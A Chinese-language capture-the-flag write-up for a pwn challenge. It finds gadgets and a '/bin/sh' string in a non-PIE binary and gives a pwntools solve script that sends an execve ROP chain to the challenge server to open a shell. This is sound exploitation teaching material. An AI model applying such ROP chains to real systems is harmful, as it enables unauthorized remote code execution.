> [name=Curious] ## 思路和解法 下載 `chal` 之後,從題目的提示可以知道有一些資料有寫在 Data Segment,如果這些資料是預先就設定好的話,必定是有存在 `chal` 中。如果資料是字串的話,可以用 `strings` 掃出來。 ![](https://hackmd.io/_uploads/rkOS0W-q2.png) 這邊就可以拿到第一段 flag,而且發現這個 binary 裡面有 `"/bin/sh"` 這個字串 接著把 `chal` 拿去 `gdb` 跑,輸入 `start` 之後可以看到將要執行的 instruction 和當前的 register ![](https://hackmd.io/_uploads/Hkke3ZZc3.png) ![](https://hackmd.io/_uploads/B1yW2Wb5n.png) 可以推論當執行到 `syscall` 時,`rax, rdi, rsi, rdx = 0, 0, rsp, 0x80`,去翻一下 [syscall table](https://syscalls.w3challs.com/?arch=x86_64) 就可以知道這是要從標準輸入讀 0x80 到 `rsp` 上。因為 `syscall` 後直接接 `ret` 這個 instruction,所以猜測可以使用 ROP。 使用 `ROPgadget` 看看有什麼 Gadget 可以用 ![](https://hackmd.io/_uploads/HJDGJz-9n.png) 發現改 `rax, rdi, rsi, rdx` 的 Gadget 都有,也有 `syscall`,加上 `chal` 沒有 PIE(用 `checksec` 可以知道),用 `ROPgadget --binary ./chal --string "/bin/sh"` 找到 `"/bin/sh"` 的位址後,直接寫一個最簡單的 ROP Chain 就完成了。 Solve Script : ```python= from pwn import * context.arch = 'amd64' pop_rax_ret = 0x401000 pop_rdi_ret = 0x401002 pop_rsi_ret = 0x401004 pop_rdx_ret = 0x401006 syscall = 0x401010 binsh = 0x402000 # r = process('./chal') r = remote('lotuxctf.com', 10005) r.sendline(flat( pop_rax_ret, 0x3b, pop_rdi_ret, binsh, pop_rsi_ret, 0, pop_rdx_ret, 0, syscall )) r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}